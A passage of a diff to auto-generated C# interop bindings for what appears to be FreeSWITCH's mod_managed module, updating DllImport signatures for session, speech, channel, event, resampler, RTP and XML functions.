+  public static extern int switch_core_session_dequeue_event(HandleRef jarg1, HandleRef jarg2, int jarg3);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_session_queue_private_event")]
   public static extern int switch_core_session_queue_private_event(HandleRef jarg1, HandleRef jarg2);
@@ -6023,7 +6327,7 @@
   public static extern void switch_core_speech_float_param_tts(HandleRef jarg1, string jarg2, double jarg3);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_speech_read_tts")]
-  public static extern int switch_core_speech_read_tts(HandleRef jarg1, HandleRef jarg2, HandleRef jarg3, HandleRef jarg4, HandleRef jarg5);
+  public static extern int switch_core_speech_read_tts(HandleRef jarg1, HandleRef jarg2, HandleRef jarg3, HandleRef jarg4);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_speech_close")]
   public static extern int switch_core_speech_close(HandleRef jarg1, HandleRef jarg2);
@@ -6055,6 +6359,18 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_asr_resume")]
   public static extern int switch_core_asr_resume(HandleRef jarg1);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_asr_start_input_timers")]
+  public static extern int switch_core_asr_start_input_timers(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_asr_text_param")]
+  public static extern void switch_core_asr_text_param(HandleRef jarg1, string jarg2, string jarg3);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_asr_numeric_param")]
+  public static extern void switch_core_asr_numeric_param(HandleRef jarg1, string jarg2, int jarg3);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_asr_float_param")]
+  public static extern void switch_core_asr_float_param(HandleRef jarg1, string jarg2, double jarg3);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_directory_open")]
   public static extern int switch_core_directory_open(HandleRef jarg1, string jarg2, string jarg3, string jarg4, string jarg5, HandleRef jarg6);
 
@@ -6106,9 +6422,6 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_get_console")]
   public static extern IntPtr switch_core_get_console();
 
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_core_launch_thread")]
-  public static extern void switch_core_launch_thread(HandleRef jarg1, HandleRef jarg2, HandleRef jarg3);
-
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_set_globals")]
   public static extern void switch_core_set_globals();
 
@@ -6133,8 +6446,8 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_loadable_module_create_interface")]
   public static extern IntPtr switch_loadable_module_create_interface(HandleRef jarg1, int jarg2);
 
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_timestamp_now")]
-  public static extern IntPtr switch_timestamp_now();
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_micro_time_now")]
+  public static extern IntPtr switch_micro_time_now();
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_core_memory_reclaim")]
   public static extern void switch_core_memory_reclaim();
@@ -6154,8 +6467,8 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_time_sync")]
   public static extern void switch_time_sync();
 
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_timestamp")]
-  public static extern IntPtr switch_timestamp(HandleRef jarg1);
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_epoch_time_now")]
+  public static extern IntPtr switch_epoch_time_now(HandleRef jarg1);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_strftime_tz")]
   public static extern int switch_strftime_tz(string jarg1, string jarg2, string jarg3, uint jarg4, HandleRef jarg5);
@@ -6205,6 +6518,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_console_stream_raw_write")]
   public static extern int switch_console_stream_raw_write(HandleRef jarg1, HandleRef jarg2, HandleRef jarg3);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_stream_write_file_contents")]
+  public static extern int switch_stream_write_file_contents(HandleRef jarg1, string jarg2);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_toupper")]
   public static extern int switch_toupper(int jarg1);
 
@@ -6253,6 +6569,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_is_moh")]
   public static extern int switch_is_moh(string jarg1);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_string_has_escaped_data")]
+  public static extern int switch_string_has_escaped_data(string jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_b64_encode")]
   public static extern int switch_b64_encode(HandleRef jarg1, HandleRef jarg2, HandleRef jarg3, HandleRef jarg4);
 
@@ -6268,8 +6587,17 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_fd_read_line")]
   public static extern IntPtr switch_fd_read_line(int jarg1, string jarg2, HandleRef jarg3);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_frame_alloc")]
+  public static extern int switch_frame_alloc(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_frame_dup")]
+  public static extern int switch_frame_dup(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_frame_free")]
+  public static extern int switch_frame_free(HandleRef jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_find_local_ip")]
-  public static extern int switch_find_local_ip(string jarg1, int jarg2, int jarg3);
+  public static extern int switch_find_local_ip(string jarg1, int jarg2, HandleRef jarg3, int jarg4);
 
   [DllImport("mod_managed", EntryPoint="CSharp_get_addr")]
   public static extern string get_addr(string jarg1, HandleRef jarg2, HandleRef jarg3, HandleRef jarg4);
@@ -6292,6 +6620,12 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_string_var_check")]
   public static extern int switch_string_var_check(string jarg1, int jarg2);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_string_var_check_const")]
+  public static extern int switch_string_var_check_const(string jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_var_clean_string")]
+  public static extern string switch_var_clean_string(string jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_clean_string")]
   public static extern string switch_clean_string(string jarg1);
 
@@ -6365,7 +6699,7 @@
   public static extern int switch_parse_cidr(string jarg1, HandleRef jarg2, HandleRef jarg3, HandleRef jarg4);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_network_list_create")]
-  public static extern int switch_network_list_create(HandleRef jarg1, int jarg2, HandleRef jarg3);
+  public static extern int switch_network_list_create(HandleRef jarg1, string jarg2, int jarg3, HandleRef jarg4);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_network_list_add_cidr_token")]
   public static extern int switch_network_list_add_cidr_token(HandleRef jarg1, string jarg2, int jarg3, string jarg4);
@@ -6376,6 +6710,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_network_list_validate_ip_token")]
   public static extern int switch_network_list_validate_ip_token(HandleRef jarg1, uint jarg2, ref string jarg3);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_number_cmp")]
+  public static extern int switch_number_cmp(string jarg1, int jarg2);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_caller_profile_username_set")]
   public static extern void switch_caller_profile_username_set(HandleRef jarg1, string jarg2);
 
@@ -6526,6 +6863,12 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_caller_profile_originatee_caller_profile_get")]
   public static extern IntPtr switch_caller_profile_originatee_caller_profile_get(HandleRef jarg1);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_caller_profile_hunt_caller_profile_set")]
+  public static extern void switch_caller_profile_hunt_caller_profile_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_caller_profile_hunt_caller_profile_get")]
+  public static extern IntPtr switch_caller_profile_hunt_caller_profile_get(HandleRef jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_caller_profile_times_set")]
   public static extern void switch_caller_profile_times_set(HandleRef jarg1, HandleRef jarg2);
 
@@ -6682,6 +7025,12 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_frame_packetlen_get")]
   public static extern uint switch_frame_packetlen_get(HandleRef jarg1);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_frame_extra_data_set")]
+  public static extern void switch_frame_extra_data_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_frame_extra_data_get")]
+  public static extern IntPtr switch_frame_extra_data_get(HandleRef jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_frame_data_set")]
   public static extern void switch_frame_data_set(HandleRef jarg1, HandleRef jarg2);
 
@@ -6814,6 +7163,18 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_state_handler_table_on_park_get")]
   public static extern IntPtr switch_state_handler_table_on_park_get(HandleRef jarg1);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_state_handler_table_on_reporting_set")]
+  public static extern void switch_state_handler_table_on_reporting_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_state_handler_table_on_reporting_get")]
+  public static extern IntPtr switch_state_handler_table_on_reporting_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_state_handler_table_on_destroy_set")]
+  public static extern void switch_state_handler_table_on_destroy_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_state_handler_table_on_destroy_get")]
+  public static extern IntPtr switch_state_handler_table_on_destroy_get(HandleRef jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_state_handler_table_padding_set")]
   public static extern void switch_state_handler_table_padding_set(HandleRef jarg1, HandleRef jarg2);
 
@@ -7438,12 +7799,18 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_file_handle_offset_pos_get")]
   public static extern uint switch_file_handle_offset_pos_get(HandleRef jarg1);
 
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_file_handle_last_pos_set")]
-  public static extern void switch_file_handle_last_pos_set(HandleRef jarg1, uint jarg2);
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_file_handle_samples_in_set")]
+  public static extern void switch_file_handle_samples_in_set(HandleRef jarg1, HandleRef jarg2);
 
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_file_handle_last_pos_get")]
-  public static extern uint switch_file_handle_last_pos_get(HandleRef jarg1);
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_file_handle_samples_in_get")]
+  public static extern IntPtr switch_file_handle_samples_in_get(HandleRef jarg1);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_file_handle_samples_out_set")]
+  public static extern void switch_file_handle_samples_out_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_file_handle_samples_out_get")]
+  public static extern IntPtr switch_file_handle_samples_out_get(HandleRef jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_file_handle_vol_set")]
   public static extern void switch_file_handle_vol_set(HandleRef jarg1, int jarg2);
 
@@ -7576,6 +7943,30 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_asr_interface_asr_get_results_get")]
   public static extern IntPtr switch_asr_interface_asr_get_results_get(HandleRef jarg1);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_asr_interface_asr_start_input_timers_set")]
+  public static extern void switch_asr_interface_asr_start_input_timers_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_asr_interface_asr_start_input_timers_get")]
+  public static extern IntPtr switch_asr_interface_asr_start_input_timers_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_asr_interface_asr_text_param_set")]
+  public static extern void switch_asr_interface_asr_text_param_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_asr_interface_asr_text_param_get")]
+  public static extern IntPtr switch_asr_interface_asr_text_param_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_asr_interface_asr_numeric_param_set")]
+  public static extern void switch_asr_interface_asr_numeric_param_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_asr_interface_asr_numeric_param_get")]
+  public static extern IntPtr switch_asr_interface_asr_numeric_param_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_asr_interface_asr_float_param_set")]
+  public static extern void switch_asr_interface_asr_float_param_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_asr_interface_asr_float_param_get")]
+  public static extern IntPtr switch_asr_interface_asr_float_param_get(HandleRef jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_asr_interface_rwlock_set")]
   public static extern void switch_asr_interface_rwlock_set(HandleRef jarg1, HandleRef jarg2);
 
@@ -7822,6 +8213,42 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_memory_pool_get")]
   public static extern IntPtr switch_speech_handle_memory_pool_get(HandleRef jarg1);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_resampler_set")]
+  public static extern void switch_speech_handle_resampler_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_resampler_get")]
+  public static extern IntPtr switch_speech_handle_resampler_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_buffer_set")]
+  public static extern void switch_speech_handle_buffer_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_buffer_get")]
+  public static extern IntPtr switch_speech_handle_buffer_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_dbuf_set")]
+  public static extern void switch_speech_handle_dbuf_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_dbuf_get")]
+  public static extern IntPtr switch_speech_handle_dbuf_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_dbuflen_set")]
+  public static extern void switch_speech_handle_dbuflen_set(HandleRef jarg1, HandleRef jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_dbuflen_get")]
+  public static extern IntPtr switch_speech_handle_dbuflen_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_samplerate_set")]
+  public static extern void switch_speech_handle_samplerate_set(HandleRef jarg1, uint jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_samplerate_get")]
+  public static extern uint switch_speech_handle_samplerate_get(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_native_rate_set")]
+  public static extern void switch_speech_handle_native_rate_set(HandleRef jarg1, uint jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_native_rate_get")]
+  public static extern uint switch_speech_handle_native_rate_get(HandleRef jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_speech_handle_private_info_set")]
   public static extern void switch_speech_handle_private_info_set(HandleRef jarg1, HandleRef jarg2);
 
@@ -8356,6 +8783,12 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_codec_implementation_codec_id_get")]
   public static extern uint switch_codec_implementation_codec_id_get(HandleRef jarg1);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_codec_implementation_impl_id_set")]
+  public static extern void switch_codec_implementation_impl_id_set(HandleRef jarg1, uint jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_codec_implementation_impl_id_get")]
+  public static extern uint switch_codec_implementation_impl_id_get(HandleRef jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_codec_implementation_next_set")]
   public static extern void switch_codec_implementation_next_set(HandleRef jarg1, HandleRef jarg2);
 
@@ -8614,12 +9047,15 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_get_running_state")]
   public static extern int switch_channel_get_running_state(HandleRef jarg1);
 
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_ready")]
-  public static extern byte switch_channel_ready(HandleRef jarg1);
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_test_ready")]
+  public static extern int switch_channel_test_ready(HandleRef jarg1, int jarg2);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_wait_for_state")]
   public static extern void switch_channel_wait_for_state(HandleRef jarg1, HandleRef jarg2, int jarg3);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_wait_for_state_timeout")]
+  public static extern void switch_channel_wait_for_state_timeout(HandleRef jarg1, int jarg2, uint jarg3);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_wait_for_flag")]
   public static extern int switch_channel_wait_for_flag(HandleRef jarg1, int jarg2, int jarg3, uint jarg4, HandleRef jarg5);
 
@@ -8648,7 +9084,7 @@
   public static extern IntPtr switch_channel_get_timetable(HandleRef jarg1);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_alloc")]
-  public static extern int switch_channel_alloc(HandleRef jarg1, HandleRef jarg2);
+  public static extern int switch_channel_alloc(HandleRef jarg1, int jarg2, HandleRef jarg3);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_init")]
   public static extern int switch_channel_init(HandleRef jarg1, HandleRef jarg2, int jarg3, int jarg4);
@@ -8668,6 +9104,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_set_originator_caller_profile")]
   public static extern void switch_channel_set_originator_caller_profile(HandleRef jarg1, HandleRef jarg2);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_set_hunt_caller_profile")]
+  public static extern void switch_channel_set_hunt_caller_profile(HandleRef jarg1, HandleRef jarg2);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_get_originator_caller_profile")]
   public static extern IntPtr switch_channel_get_originator_caller_profile(HandleRef jarg1);
 
@@ -8722,6 +9161,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_clear_flag_partner")]
   public static extern int switch_channel_clear_flag_partner(HandleRef jarg1, int jarg2);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_test_flag_partner")]
+  public static extern uint switch_channel_test_flag_partner(HandleRef jarg1, int jarg2);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_set_state_flag")]
   public static extern void switch_channel_set_state_flag(HandleRef jarg1, int jarg2);
 
@@ -8824,6 +9266,21 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_test_private_flag")]
   public static extern int switch_channel_test_private_flag(HandleRef jarg1, uint jarg2);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_set_app_flag")]
+  public static extern void switch_channel_set_app_flag(HandleRef jarg1, uint jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_clear_app_flag")]
+  public static extern void switch_channel_clear_app_flag(HandleRef jarg1, uint jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_test_app_flag")]
+  public static extern int switch_channel_test_app_flag(HandleRef jarg1, uint jarg2);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_set_hangup_time")]
+  public static extern void switch_channel_set_hangup_time(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_channel_direction")]
+  public static extern int switch_channel_direction(HandleRef jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_buffer_create")]
   public static extern int switch_buffer_create(HandleRef jarg1, HandleRef jarg2, HandleRef jarg3);
 
@@ -8983,8 +9440,8 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_event_shutdown")]
   public static extern int switch_event_shutdown();
 
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_event_create_subclass")]
-  public static extern int switch_event_create_subclass(HandleRef jarg1, int jarg2, string jarg3);
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_event_create_subclass_detailed")]
+  public static extern int switch_event_create_subclass_detailed(string jarg1, string jarg2, int jarg3, HandleRef jarg4, int jarg5, string jarg6);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_event_set_priority")]
   public static extern int switch_event_set_priority(HandleRef jarg1, int jarg2);
@@ -8995,6 +9452,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_event_get_body")]
   public static extern string switch_event_get_body(HandleRef jarg1);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_event_set_subclass_name")]
+  public static extern int switch_event_set_subclass_name(HandleRef jarg1, string jarg2);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_event_add_header_string")]
   public static extern int switch_event_add_header_string(HandleRef jarg1, int jarg2, string jarg3, string jarg4);
 
@@ -9010,6 +9470,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_event_fire_detailed")]
   public static extern int switch_event_fire_detailed(string jarg1, string jarg2, int jarg3, HandleRef jarg4, HandleRef jarg5);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_event_prep_for_delivery_detailed")]
+  public static extern void switch_event_prep_for_delivery_detailed(string jarg1, string jarg2, int jarg3, HandleRef jarg4);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_event_bind")]
   public static extern int switch_event_bind(string jarg1, int jarg2, string jarg3, HandleRef jarg4, HandleRef jarg5);
 
@@ -9046,12 +9509,18 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_event_create_pres_in_detailed")]
   public static extern int switch_event_create_pres_in_detailed(string jarg1, string jarg2, int jarg3, string jarg4, string jarg5, string jarg6, string jarg7, string jarg8, string jarg9, string jarg10, int jarg11, string jarg12, string jarg13, string jarg14, string jarg15);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_event_create_plain")]
+  public static extern int switch_event_create_plain(HandleRef jarg1, int jarg2);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_event_deliver")]
   public static extern void switch_event_deliver(HandleRef jarg1);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_event_build_param_string")]
   public static extern string switch_event_build_param_string(HandleRef jarg1, string jarg2, HandleRef jarg3);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_RESAMPLE_QUALITY_get")]
+  public static extern int SWITCH_RESAMPLE_QUALITY_get();
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_audio_resampler_t_resampler_set")]
   public static extern void switch_audio_resampler_t_resampler_set(HandleRef jarg1, HandleRef jarg2);
 
@@ -9082,24 +9551,6 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_audio_resampler_t_rfactor_get")]
   public static extern double switch_audio_resampler_t_rfactor_get(HandleRef jarg1);
 
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_audio_resampler_t_from_set")]
-  public static extern void switch_audio_resampler_t_from_set(HandleRef jarg1, HandleRef jarg2);
-
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_audio_resampler_t_from_get")]
-  public static extern IntPtr switch_audio_resampler_t_from_get(HandleRef jarg1);
-
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_audio_resampler_t_from_len_set")]
-  public static extern void switch_audio_resampler_t_from_len_set(HandleRef jarg1, int jarg2);
-
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_audio_resampler_t_from_len_get")]
-  public static extern int switch_audio_resampler_t_from_len_get(HandleRef jarg1);
-
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_audio_resampler_t_from_size_set")]
-  public static extern void switch_audio_resampler_t_from_size_set(HandleRef jarg1, HandleRef jarg2);
-
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_audio_resampler_t_from_size_get")]
-  public static extern IntPtr switch_audio_resampler_t_from_size_get(HandleRef jarg1);
-
   [DllImport("mod_managed", EntryPoint="CSharp_switch_audio_resampler_t_to_set")]
   public static extern void switch_audio_resampler_t_to_set(HandleRef jarg1, HandleRef jarg2);
 
@@ -9124,14 +9575,14 @@
   [DllImport("mod_managed", EntryPoint="CSharp_delete_switch_audio_resampler_t")]
   public static extern void delete_switch_audio_resampler_t(HandleRef jarg1);
 
-  [DllImport("mod_managed", EntryPoint="CSharp_switch_resample_create")]
-  public static extern int switch_resample_create(HandleRef jarg1, int jarg2, HandleRef jarg3, int jarg4, uint jarg5, HandleRef jarg6);
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_resample_perform_create")]
+  public static extern int switch_resample_perform_create(HandleRef jarg1, uint jarg2, uint jarg3, uint jarg4, int jarg5, uint jarg6, string jarg7, string jarg8, int jarg9);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_resample_destroy")]
   public static extern void switch_resample_destroy(HandleRef jarg1);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_resample_process")]
-  public static extern uint switch_resample_process(HandleRef jarg1, HandleRef jarg2, int jarg3, HandleRef jarg4, uint jarg5, int jarg6);
+  public static extern uint switch_resample_process(HandleRef jarg1, HandleRef jarg2, uint jarg3);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_float_to_short")]
   public static extern IntPtr switch_float_to_short(HandleRef jarg1, HandleRef jarg2, HandleRef jarg3);
@@ -9158,7 +9609,7 @@
   public static extern uint switch_merge_sln(HandleRef jarg1, uint jarg2, HandleRef jarg3, uint jarg4);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_mux_channels")]
-  public static extern void switch_mux_channels(HandleRef jarg1, uint jarg2, uint jarg3);
+  public static extern void switch_mux_channels(HandleRef jarg1, HandleRef jarg2, uint jarg3);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_unicast_conninfo_session_set")]
   public static extern void switch_unicast_conninfo_session_set(HandleRef jarg1, HandleRef jarg2);
@@ -9452,7 +9903,7 @@
   public static extern int switch_ivr_digit_stream_parser_set_terminator(HandleRef jarg1, char jarg2);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_ivr_menu_init")]
-  public static extern int switch_ivr_menu_init(HandleRef jarg1, HandleRef jarg2, string jarg3, string jarg4, string jarg5, string jarg6, string jarg7, string jarg8, string jarg9, int jarg10, int jarg11, int jarg12, int jarg13, int jarg14, int jarg15, HandleRef jarg16);
+  public static extern int switch_ivr_menu_init(HandleRef jarg1, HandleRef jarg2, string jarg3, string jarg4, string jarg5, string jarg6, string jarg7, string jarg8, string jarg9, string jarg10, string jarg11, int jarg12, int jarg13, int jarg14, int jarg15, int jarg16, int jarg17, HandleRef jarg18);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_ivr_menu_bind_action")]
   public static extern int switch_ivr_menu_bind_action(HandleRef jarg1, int jarg2, string jarg3, string jarg4);
@@ -9520,6 +9971,12 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_ivr_set_user")]
   public static extern int switch_ivr_set_user(HandleRef jarg1, string jarg2);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_ivr_sound_test")]
+  public static extern int switch_ivr_sound_test(HandleRef jarg1);
+
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_process_import")]
+  public static extern void switch_process_import(HandleRef jarg1, HandleRef jarg2, string jarg3);
+
   [DllImport("mod_managed", EntryPoint="CSharp_SWITCH_RTP_MAX_BUF_LEN_get")]
   public static extern int SWITCH_RTP_MAX_BUF_LEN_get();
 
@@ -9689,7 +10146,7 @@
   public static extern int switch_rtp_zerocopy_read_frame(HandleRef jarg1, HandleRef jarg2, uint jarg3);
 
   [DllImport("mod_managed", EntryPoint="CSharp_rtp_flush_read_buffer")]
-  public static extern void rtp_flush_read_buffer(HandleRef jarg1);
+  public static extern void rtp_flush_read_buffer(HandleRef jarg1, int jarg2);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_enable_vad")]
   public static extern int switch_rtp_enable_vad(HandleRef jarg1, HandleRef jarg2, HandleRef jarg3, uint jarg4);
@@ -9724,6 +10181,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_intentional_bugs")]
   public static extern void switch_rtp_intentional_bugs(HandleRef jarg1, int jarg2);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_rtp_get_stats")]
+  public static extern IntPtr switch_rtp_get_stats(HandleRef jarg1, HandleRef jarg2);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_log_node_t_data_set")]
   public static extern void switch_log_node_t_data_set(HandleRef jarg1, string jarg2);
 
@@ -9880,6 +10340,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_delete_switch_xml")]
   public static extern void delete_switch_xml(HandleRef jarg1);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_switch_xml_parse_str_dynamic")]
+  public static extern IntPtr switch_xml_parse_str_dynamic(string jarg1, int jarg2);
+
   [DllImport("mod_managed", EntryPoint="CSharp_switch_xml_parse_str")]
   public static extern IntPtr switch_xml_parse_str(string jarg1, HandleRef jarg2);
 
@@ -9962,7 +10425,7 @@
   public static extern IntPtr switch_xml_root();
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_xml_locate")]
-  public static extern int switch_xml_locate(string jarg1, string jarg2, string jarg3, string jarg4, HandleRef jarg5, HandleRef jarg6, HandleRef jarg7);
+  public static extern int switch_xml_locate(string jarg1, string jarg2, string jarg3, string jarg4, HandleRef jarg5, HandleRef jarg6, HandleRef jarg7, int jarg8);
 
   [DllImport("mod_managed", EntryPoint="CSharp_switch_xml_locate_domain")]
   public static extern int switch_xml_locate_domain(string jarg1, HandleRef jarg2, HandleRef jarg3, HandleRef jarg4);
@@ -10502,7 +10965,7 @@
   public static extern void consoleCleanLog(string jarg1);
 
   [DllImport("mod_managed", EntryPoint="CSharp_new_IvrMenu")]
